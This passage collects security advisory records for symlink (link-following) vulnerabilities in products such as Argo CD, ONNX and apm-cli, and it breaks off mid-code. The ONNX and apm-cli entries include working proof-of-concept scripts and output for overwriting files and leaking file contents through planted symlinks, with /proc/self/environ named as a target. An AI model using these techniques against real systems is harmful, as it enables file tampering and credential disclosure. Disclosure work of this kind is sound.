CWE-59

{
  "affected": [],
  "aliases": [
    "CVE-2024-5928"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-21T17:15:09Z",
    "severity": "HIGH"
  },
  "details": "VIPRE Advanced Security PMAgent Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of VIPRE Advanced Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the Patch Management Agent. By creating a symbolic link, an attacker can abuse the agent to delete a file. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-22315.",
  "id": "GHSA-q3pq-6mcr-hp32",
  "modified": "2024-08-21T18:31:28Z",
  "published": "2024-08-21T18:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5928"
    },
    {
      "type": "WEB",
      "url": "https://success.vipre.com/en_US/home-windows-release-notes/home-windows-release-notes-20240227"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-817"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-15328"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-05T19:15:53Z",
    "severity": "MODERATE"
  },
  "details": "Tanium addressed an improper link resolution before file access vulnerability in Enforce.",
  "id": "GHSA-q3xw-fxmg-xm92",
  "modified": "2026-02-05T21:32:41Z",
  "published": "2026-02-05T21:32:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15328"
    },
    {
      "type": "WEB",
      "url": "https://security.tanium.com/TAN-2025-007"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-20720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-15T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system, execute arbitrary code on the underlying host operating system, install applications without being authenticated, or conduct a cross-site scripting (XSS) attack against a user of the affected software. For more information about these vulnerabilities, see the Details section of this advisory.",
  "id": "GHSA-q427-r549-25f6",
  "modified": "2022-04-27T00:00:34Z",
  "published": "2022-04-16T00:00:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/orangecertcc/security-research/security/advisories/GHSA-4qmq-rfw6-f2x2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20720"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iox-yuXQ6hFj"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-18925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-26T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "opentmpfiles through 0.3.1 allows local users to take ownership of arbitrary files because d entries are mishandled and allow a symlink attack.",
  "id": "GHSA-q42f-hxw2-5vgx",
  "modified": "2022-05-24T17:32:10Z",
  "published": "2022-05-24T17:32:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18925"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenRC/opentmpfiles/issues/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-34723"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-25T22:15:08Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in TechView LA-5570 Wireless Gateway 1.0.19_T53, allows attackers to gain sensitive information via /config/system.conf.",
  "id": "GHSA-q4g9-3rvv-h2x6",
  "modified": "2024-04-04T07:13:24Z",
  "published": "2023-08-26T00:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34723"
    },
    {
      "type": "WEB",
      "url": "https://www.exploitsecurity.io/post/cve-2023-34723-cve-2023-34724-cve-2023-34725"
    },
    {
      "type": "WEB",
      "url": "https://www.jaycar.com.au/wireless-gateway-home-automation-controller/p/LA5570"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/174553/TECHView-LA5570-Wireless-Gateway-1.0.19_T53-Traversal-Privilege-Escalation.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-44052"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-05T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "An improper link resolution before file access (\u0027Link Following\u0027) vulnerability has been reported to affect QNAP device running QuTScloud, QuTS hero, and QTS. If exploited, this vulnerability allows remote attackers to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. We have already fixed this vulnerability in the following versions of QuTScloud, QuTS hero, and QTS: QuTScloud c5.0.1.1998 and later QuTS hero h4.5.4.1971 build 20220310 and later QuTS hero h5.0.0.1986 build 20220324 and later QTS 4.3.4.1976 build 20220303 and later QTS 4.3.3.1945 build 20220303 and later QTS 4.2.6 build 20220304 and later QTS 4.3.6.1965 build 20220302 and later QTS 5.0.0.1986 build 20220324 and later QTS 4.5.4.1991 build 20220329 and later",
  "id": "GHSA-q4mx-gr8m-q3rr",
  "modified": "2022-05-14T00:01:16Z",
  "published": "2022-05-06T00:00:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44052"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/en/security-advisory/qsa-22-16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "2.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.4.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2022-31036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-21T20:04:51Z",
    "nvd_published_at": "2022-06-27T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAll unpatched versions of Argo CD starting with v1.3.0 are vulnerable to a symlink following bug allowing a malicious user with repository write access to leak sensitive YAML files from Argo CD\u0027s repo-server.\n\nA malicious Argo CD user with write access for a repository which is (or may be) used in a Helm-type Application may commit a symlink which points to an out-of-bounds file. If the target file is a valid YAML file, the attacker can read the contents of that file.\n\nSensitive files which could be leaked include manifest files from other Applications\u0027 source repositories (potentially decrypted files, if you are using a decryption plugin) or any YAML-formatted secrets which have been mounted as files on the repo-server.\n\n### Patches\n\nA patch for this vulnerability has been released in the following Argo CD versions:\n\n* v2.4.1\n* v2.3.5\n* v2.2.10\n* v2.1.16\n\n### Workarounds\n\n* If you are using \u003e=v2.3.0 and do not have any Helm-type Applications, [disable the Helm config management tool](https://argo-cd.readthedocs.io/en/stable/user-guide/tool_detection/#disable-built-in-tools).\n\n#### Mitigations\n\n* Avoid mounting YAML-formatted secrets as files on the repo-server.\n* Upgrade to \u003e=2.3.0 to significantly reduce the risk of leaking out-of-bounds manifest files. Starting with 2.3.0, repository paths are randomized, and read permissions are restricted when manifests are not being actively being generated. This makes it very difficult to craft and use a malicious symlink.\n\n#### Best practices which can mitigate risk\n\n* Limit who has push access to manifest repositories.\n* Limit who is allowed to configure new source repositories.\n\n### Credits\n\nDisclosed by ADA Logics in a security audit of the Argo project sponsored by CNCF and facilitated by OSTIF. Thanks to Adam Korczynski and David Korczynski for their work on the audit.\n\n### References\n\n* List of [types of Applications](https://argo-cd.readthedocs.io/en/stable/user-guide/application_sources/), including Helm-type\n* [RBAC documentation](https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/), showing how to limit repository permissions\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n",
  "id": "GHSA-q4w5-4gq2-98vm",
  "modified": "2022-06-21T20:04:51Z",
  "published": "2022-06-21T20:04:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-q4w5-4gq2-98vm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31036"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/commit/04c305396458508a31d03d44afea07b1c620d7cd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-cd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Symlink following allows leaking out-of-bounds YAML files from Argo CD repo-server"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-7231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-22T22:15:15Z",
    "severity": "HIGH"
  },
  "details": "Avast Cleanup Premium Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Avast Cleanup Premium. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the Avast Cleanup Service. By creating a symbolic link, an attacker can abuse the service to delete a file. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-22894.",
  "id": "GHSA-q4ww-jp52-p32r",
  "modified": "2024-11-23T03:31:58Z",
  "published": "2024-11-23T03:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7231"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.20.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-367",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:40:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `save_external_data` method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems.\nRegarding the TOCTOU, an attacker seems to be able to overwrite victim\u0027s files via symlink following under the same privilege scope.\nThe mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188\n\n### Details\n\n#### Toctou\nThe vulnerable code pattern:\n```python\n   # CHECK - Is this a file?\n   if not os.path.isfile(external_data_file_path):\n       # Line 228-229: USE #1 - Create if it doesn\u0027t exist\n       with open(external_data_file_path, \"ab\"):\n           pass\n   \n   # Open for writing\n   with open(external_data_file_path, \"r+b\") as data_file:\n       # Lines 233-243: Write tensor data\n       data_file.seek(0, 2)\n       if info.offset is not None:\n           file_size = data_file.tell()\n           if info.offset \u003e file_size:\n               data_file.write(b\"\\0\" * (info.offset - file_size))\n           data_file.seek(info.offset)\n       offset = data_file.tell()\n       data_file.write(tensor.raw_data)\n```\nThere is a time gap between `os.path.isfile` and `open` with no atomic file creation flags (e.g. `O_EXCEL | O_CREAT`) allowing the attacker to create a symlink that is being followed (absence of `O_NOFOLLOW`), between these two calls. By combining these, the attack is possible as shown below in the PoC section.\n\n#### Bypass\nThere is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like `C:\\` (only 1 part):\n```python\nif location_path.is_absolute() and len(location_path.parts) \u003e 1\n```\nThis may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).\n\n### PoC\n\nInstall the dependencies and run this:\n```python\nimport os\nimport sys\nimport tempfile\nimport numpy as np\nimport onnx\nfrom onnx import TensorProto, helper\nfrom onnx.numpy_helper import from_array\n\n# Create a temporary directory for our poc\nwith tempfile.TemporaryDirectory() as tmpdir:\n    print(f\"[*] Working directory: {tmpdir}\")\n\n    # Create a \"sensitive\" file that we\u0027ll overwrite\n    sensitive_file = os.path.join(tmpdir, \"sensitive.txt\")\n    with open(sensitive_file, \u0027w\u0027) as f:\n        f.write(\"SENSITIVE DATA - DO NOT OVERWRITE\")\n\n    original_content = open(sensitive_file, \u0027rb\u0027).read()\n    print(f\"[*] Created sensitive file: {sensitive_file}\")\n    print(f\"    Original content: {original_content}\")\n\n    # Create a simple ONNX model with a large tensor\n    print(\"[*] Creating ONNX model with external data...\")\n\n    # Create a tensor with data \u003e 1KB (to trigger external data)\n    large_array = np.ones((100, 100), dtype=np.float32)  # 40KB tensor\n    large_tensor = from_array(large_array, name=\u0027large_weight\u0027)\n\n    # Create a minimal model\n    model = helper.make_model(\n        helper.make_graph(\n            [helper.make_node(\u0027Identity\u0027, [\u0027input\u0027], [\u0027output\u0027])],\n            \u0027minimal_model\u0027,\n            [helper.make_tensor_value_info(\u0027input\u0027, TensorProto.FLOAT, [100, 100])],\n            [helper.make_tensor_value_info(\u0027output\u0027, TensorProto.FLOAT, [100, 100])],\n            [large_tensor]\n        )\n    )\n\n    # Save model with external data to create the external data file\n    model_path = os.path.join(tmpdir, \"model.onnx\")\n    external_data_name = \"data.bin\"\n    external_data_path = os.path.join(tmpdir, external_data_name)\n\n    onnx.save_model(\n        model, \n        model_path,\n        save_as_external_data=True,\n        all_tensors_to_one_file=True,\n        location=external_data_name,\n        size_threshold=1024\n    )\n\n    print(f\"[+] Model saved: {model_path}\")\n    print(f\"[+] External data created: {external_data_path}\")\n\n    # Now comes the attack: replace the external data file with a symlink\n    print(\"[!] ATTACK: Replacing external data file with symlink...\")\n\n    # Remove the legitimate external data file\n    if os.path.exists(external_data_path):\n        os.remove(external_data_path)\n        print(f\"    Removed: {external_data_path}\")\n\n    # Create symlink pointing to sensitive file\n    os.symlink(sensitive_file, external_data_path)\n    print(f\"    Created symlink: {external_data_path} -\u003e {sensitive_file}\")\n\n    # Now load and re-save the model, which will trigger the vulnerability\n    print(\"Loading model and saving with external data...\")\n    try:\n        # Load the model (without loading external data)\n        loaded_model = onnx.load(model_path, load_external_data=False)\n\n        # Modify the model slightly (to ensure we write new data)\n        loaded_model.graph.initializer[0].raw_data = large_array.tobytes()\n\n        # Save again - this will call save_external_data() and follow the symlink\n        onnx.save_model(\n            loaded_model,\n            model_path,\n            save_as_external_data=True,\n            all_tensors_to_one_file=True,\n            location=external_data_name,\n            size_threshold=1024\n        )\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n    \n    # Check if the sensitive file was overwritten\n    print(\"[*] Checking if sensitive file was modified...\")\n    modified_content = open(sensitive_file, \u0027rb\u0027).read()\n    \n    print(f\"    Original size: {len(original_content)} bytes\")\n    print(f\"    Current size:  {len(modified_content)} bytes\")\n    print(f\"    Original content: {original_content[:50]}\")\n    print(f\"    Current content:  {modified_content[:50]}...\")\n    print()\n    \n    if modified_content != original_content:\n        print(\"[!] Success!\")\n    else:\n        print(\"[-] Failure\")\n```\nOutput:\n```\n[*] Working directory: /tmp/tmpqy7z88_l\n[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt\n    Original content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\u0027\n\n[*] Creating ONNX model with external data...\n[+] Model saved: /tmp/tmpqy7z88_l/model.onnx\n[+] External data created: /tmp/tmpqy7z88_l/data.bin\n[!] ATTACK: Replacing external data file with symlink...\n    Removed: /tmp/tmpqy7z88_l/data.bin\n    Created symlink: /tmp/tmpqy7z88_l/data.bin -\u003e /tmp/tmpqy7z88_l/sensitive.txt\nLoading model and saving with external data...\n[*] Checking if sensitive file was modified...\n    Original size: 33 bytes\n    Current size:  40033 bytes\n    Original content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\u0027\n    Current content:  b\u0027SENSITIVE DATA - DO NOT OVERWRITE\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\u0027...\n```\nSuccessfully overwritting the \"sensitive data\" file.\n\n### Impact\nThe impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.\n\n### Mitigations\n1. Atomic file creation\n2. Symlink protection\n3. Path canonicalization",
  "id": "GHSA-q56x-g2fj-4rj6",
  "modified": "2026-09-08T20:57:37Z",
  "published": "2026-04-01T23:40:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/security/advisories/GHSA-q56x-g2fj-4rj6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49114"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/onnx/onnx"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-233-01.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ONNX: TOCTOU arbitrary file read/write in save_external_dat "
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.12.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "apm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.4"
            },
            {
              "fixed": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T13:26:06Z",
    "nvd_published_at": "2026-05-15T17:16:48Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nTwo primitive integrators in `apm-cli` enumerate package files with bare `Path.glob()` / `Path.rglob()` calls and read each match with `Path.read_text()`, transparently following symbolic links.\n\nA symlink committed inside a remote APM dependency under `.apm/prompts/\u003cx\u003e.prompt.md` or `.apm/agents/\u003cx\u003e.agent.md` is preserved verbatim into `apm_modules/` on clone and then dereferenced during integration, with the resolved content written as a regular file into the project\u0027s deploy directories.\n\nThe package `content_hash`, the pre-deploy `SecurityGate` scan, and `apm audit` do not flag this. The deploy roots are not added to the auto-generated `.gitignore`, so the resulting files are staged by `git add` by default.\n\nThis was reproduced via the standard `owner/repo#tag` install flow against a real bare git repository. No `--force` or special flags were used.\n\n\n## Affected code\n\n### Sinks\n\n- `src/apm_cli/integration/prompt_integrator.py`  \n  `PromptIntegrator.find_prompt_files`: `package_path.glob(\"*.prompt.md\")` and `apm_prompts.glob(\"*.prompt.md\")`  \n  No symlink filter.\n\n- `src/apm_cli/integration/prompt_integrator.py`  \n  `PromptIntegrator.copy_prompt`: `source.read_text(\"utf-8\")`\n\n- `src/apm_cli/integration/agent_integrator.py`  \n  `AgentIntegrator.find_agent_files`: `package_path.glob(\"*.agent.md\")`, `apm_agents.rglob(\"*.agent.md\")`, `apm_agents.rglob(\"*.md\")`, `apm_chatmodes.glob(\"*.chatmode.md\")`  \n  No symlink filter.\n\n- `src/apm_cli/integration/agent_integrator.py`  \n  `AgentIntegrator.copy_agent`: `source.read_text(\"utf-8\")`\n\n- `src/apm_cli/integration/agent_integrator.py`  \n  `_write_codex_agent`: `source.read_text(\"utf-8\")`; resolved bytes are embedded into `developer_instructions` of the generated `.codex/agents/\u003cname\u003e.toml`\n\n- `src/apm_cli/integration/agent_integrator.py`  \n  `_write_windsurf_agent_skill`: same dereference pattern; resolved bytes land in `.windsurf/skills/\u003cname\u003e/SKILL.md`\n\n### Safe pattern already present in the codebase\n\n- `src/apm_cli/integration/base_integrator.py`  \n  `BaseIntegrator.find_files_by_glob()` rejects:\n  - symlinks via `f.is_symlink()`\n  - hardlinks via `f.stat().st_nlink \u003e 1`\n  - resolved paths escaping the package root\n\nThis helper is already used by `InstructionIntegrator.find_instruction_files`.\n\n### Documented contract that the affected integrators violate\n\nIn `src/apm_cli/install/phases/local_content.py`, `_copy_local_package` documents the intent of preserving symlinks in `apm_modules/`:\n\n\u003e This is security-relevant and not intended behavior because the codebase already documents that symlinks preserved in `apm_modules/` are supposed to remain inert unless a consumer follows them safely. The affected integrators are exactly those consumer paths, and they dereference the symlink without sandboxing or symlink checks. That makes this an implementation gap, not expected design.\n\nThe affected integrators are the consumer tools that follow the link without sandboxing.\n\n## Reproducer\n\nThis proof of concept is localhost-only and uses a sentinel file, not a real secret.\n\nIt uses a real bare git repository and `git config insteadOf` so the install path is the same one APM uses for real GitHub clones (`Repo.clone_from`). No network access is required.\n\n```bash\n# 0. Clean slate\nrm -rf /tmp/poc /tmp/poc_secret /tmp/poc_home\nmkdir -p /tmp/poc/{remote_bare,victim_project,work_repo} /tmp/poc_home\n\n# 1. Sentinel file outside the project and outside the package\necho \u0027APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL\u0027 \u003e /tmp/poc_secret\n\n# 2. Build a benign-looking APM package with two symlinks in it\ncd /tmp/poc/work_repo\ngit init -q -b main .\ngit config user.email t@example.test\ngit config user.name \u0027PoC\u0027\n\ncat \u003e apm.yml \u003c\u003c\u0027YML\u0027\nname: helpful-agents\nversion: 1.0.0\ndescription: Helpful AI agent collection\nYML\n\nmkdir -p .apm/agents .apm/prompts\n\ncat \u003e .apm/agents/helper.agent.md \u003c\u003c\u0027AGENT\u0027\n---\nname: helper\ndescription: A helpful assistant\n---\nYou are a helpful assistant.\nAGENT\n\nln -s /tmp/poc_secret .apm/agents/notes.agent.md\nln -s /tmp/poc_secret .apm/prompts/welcome.prompt.md\n\ngit add -A\ngit commit -q -m \"initial\"\ngit tag v1.0.0\n\ngit ls-tree -r HEAD | grep \u0027^120000\u0027\n\n# 3. Bare repo\ngit clone --bare -q /tmp/poc/work_repo /tmp/poc/remote_bare/helpful-agents.git\n\n# 4. Rewrite the GitHub URL APM constructs onto the local bare repo\ncat \u003e /tmp/poc_home/.gitconfig \u003c\u003c\u0027GITCONFIG\u0027\n[user]\n    email = poc@example.test\n    name  = PoC\n[url \"/tmp/poc/remote_bare/helpful-agents.git\"]\n    insteadOf = https://github.com/poc-author/helpful-agents\n[url \"/tmp/poc/remote_bare/helpful-agents.git\"]\n    insteadOf = https://github.com/poc-author/helpful-agents.git\n[safe]\n    directory = *\nGITCONFIG\n\n# 5. Victim project\nmkdir -p /tmp/poc/victim_project/{.github,.claude,.cursor,.codex,.windsurf}\n\ncat \u003e /tmp/poc/victim_project/apm.yml \u003c\u003c\u0027YML\u0027\nname: victim-project\nversion: 1.0.0\ndescription: Victim project\ntargets: [copilot, claude, cursor, codex, windsurf]\ndependencies:\n  apm:\n    - poc-author/helpful-agents#v1.0.0\nYML\n\n# 6. Default install, no special flags\ncd /tmp/poc/victim_project\nHOME=/tmp/poc_home APM_NO_CACHE=1 GITHUB_TOKEN= apm install\n```\n\n## Observed result\n\nDefault install output:\n\n```text\n[\u003e] Installing dependencies from apm.yml...\n[\u003e] Resolving poc-author/helpful-agents...\n[i] Targets: claude, codex, copilot, cursor, windsurf  (source: apm.yml)\n  [+] poc-author/helpful-agents #v1.0.0 @fa437578\n  |-- 1 prompts integrated -\u003e .github/prompts/\n  |-- 10 agents integrated -\u003e 5 targets\n[*] Installed 1 APM dependency in 0.1s.\n```\n\nThe source under `apm_modules/` remains a symlink:\n\n```bash\nls -l apm_modules/poc-author/helpful-agents/.apm/agents/notes.agent.md\n# lrwxrwxrwx ... .apm/agents/notes.agent.md -\u003e /tmp/poc_secret\n```\n\nThe deploy roots receive plain regular files containing the sentinel:\n\n- `.github/agents/notes.agent.md`\n- `.github/prompts/welcome.prompt.md`\n- `.claude/agents/notes.md`\n- `.cursor/agents/notes.md`\n- `.codex/agents/notes.toml`\n- `.windsurf/skills/notes/SKILL.md`\n\nExample:\n\n```bash\ncat /tmp/poc/victim_project/.claude/agents/notes.md\n# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL\n```\n\nThe deployed files persist after the original symlink target is removed:\n\n```bash\nrm /tmp/poc_secret\ncat /tmp/poc/victim_project/.claude/agents/notes.md\n# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL\n```\n\n## Defenses that did not flag the result\n\n- The pre-deploy `SecurityGate.scan_files` walks with `followlinks=False` and continues past `is_symlink()` files. The symlinked source is not scanned.\n- `apm audit` against the post-install tree reports no findings.\n- The auto-written `.gitignore` contains only `apm_modules/`. The deploy roots are not excluded, and `git add -A` stages all deployed files alongside `apm.lock.yaml`.\n- The package `content_hash` is computed before symlink resolution and remained stable across installs whose resolved deployed bytes differed.\n\n## Impact\n\nThe directly demonstrated impact is file-content disclosure.\n\nAny file readable by the user running `apm install` can be selected by the package author through an absolute symlink target committed inside the dependency, and its contents are then written into the project\u0027s deploy directories as regular files.\n\n### Realistic downstream consequences\n\nThese were not separately demonstrated with real secrets, but they follow from the validated behavior:\n\n- The deploy directories (`.github/`, `.claude/`, `.cursor/`, `.codex/`, `.windsurf/`) are project-tracked by convention, and the auto-generated `.gitignore` does not exclude them.\n- In automation that regenerates and commits agent context, the leaked files can be pushed without human review.\n- A symlink target such as `/proc/self/environ` would resolve to the APM process environment at install time.\n\n## Why this is security-relevant and not intended behavior\n\nThis is not just \"a malicious package being malicious.\"\n\nThe codebase already contains the correct defense in `BaseIntegrator.find_files_by_glob()`, and that helper explicitly rejects symlinks, hardlinks, and containment escapes. `InstructionIntegrator` uses it. `PromptIntegrator` and `AgentIntegrator` do not.\n\nThe codebase also documents that preserving symlinks inside `apm_modules/` is acceptable only because the links are supposed to remain inert unless a consumer tool follows them safely. Here, APM itself is the consumer tool that follows them unsafely.\n\nThat architectural asymmetry makes this look like an implementation oversight, not intended behavior.\n\n## Recommended fix\n\nRoute both affected finders through the existing safe helper.\n\n```python\n# src/apm_cli/integration/prompt_integrator.py\ndef find_prompt_files(self, package_path: Path) -\u003e list[Path]:\n    return self.find_files_by_glob(\n        package_path, \"*.prompt.md\", subdirs=[\".apm/prompts\"]\n    )\n```\n\n```python\n# src/apm_cli/integration/agent_integrator.py\ndef find_agent_files(self, package_path: Path) -\u003e list[Path]:\n    files: list[Path] = []\n    files += 